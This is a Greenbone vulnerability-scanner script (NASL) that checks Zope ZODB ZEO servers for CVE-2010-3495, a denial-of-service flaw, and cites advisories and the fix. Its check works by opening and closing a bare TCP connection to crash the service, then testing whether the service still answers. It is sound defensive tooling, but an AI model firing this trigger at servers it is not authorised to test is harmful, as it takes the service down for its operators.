Zope Object Database ZEO Server Denial of Service Vulnerability

# SPDX-FileCopyrightText: 2010 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.800185");
  script_version("2023-07-21T05:05:22+0000");
  script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
  script_tag(name:"creation_date", value:"2010-11-30 12:42:12 +0100 (Tue, 30 Nov 2010)");
  script_cve_id("CVE-2010-3495");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:N/A:P");
  script_name("Zope Object Database ZEO Server Denial of Service Vulnerability");
  script_xref(name:"URL", value:"http://secunia.com/advisories/41755");
  script_xref(name:"URL", value:"https://bugs.launchpad.net/zodb/+bug/135108");
  script_xref(name:"URL", value:"http://www.openwall.com/lists/oss-security/2010/09/24/3");
  script_xref(name:"URL", value:"http://launchpadlibrarian.net/10338640/patch.diff");

  script_tag(name:"qod_type", value:"remote_analysis");
  script_category(ACT_DENIAL);
  script_copyright("Copyright (C) 2010 Greenbone AG");
  script_family("Denial of Service");
  script_dependencies("find_service.nasl");
  script_require_ports(8090, 8100);
  script_tag(name:"impact", value:"Successful exploitation will let the remote unauthenticated attackers to
  cause a denial of service.");
  script_tag(name:"affected", value:"Zope Object Database (ZODB) before 3.10.0");
  script_tag(name:"insight", value:"The flaw is caused by input validation error in file 'ZEO/StorageServer.py'
  in 'notifyConnected()' function, when an unexpected value of None for the
  address or an ECONNABORTED, EAGAIN, or EWOULDBLOCK error encountered.");
  script_tag(name:"summary", value:"Zope Object Database is prone to a denial of service (DoS) vulnerability.");
  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"solution", value:"Upgrade to version of Zope Object Database (ZODB) 3.10.0 or later");
  script_xref(name:"URL", value:"http://www.zodb.org/");
  exit(0);
}

## Default ZODB Ports 8090, 8100
## exit if ports are not listening
zodbPort = 8090 ;
if(!get_port_state(zodbPort))
{
  zodbPort = 8100 ;
  if(!get_port_state(zodbPort)){
    exit(0);
  }
}

## without sending any data this will trigger an exception
## at server side causing denial of service
soc = open_sock_tcp(zodbPort);
if(!soc){
  exit(0);
}
close(soc);

sleep(5);

soc = open_sock_tcp(zodbPort);
if(!soc){
  security_message(zodbPort);
  exit(0);
}
close(soc);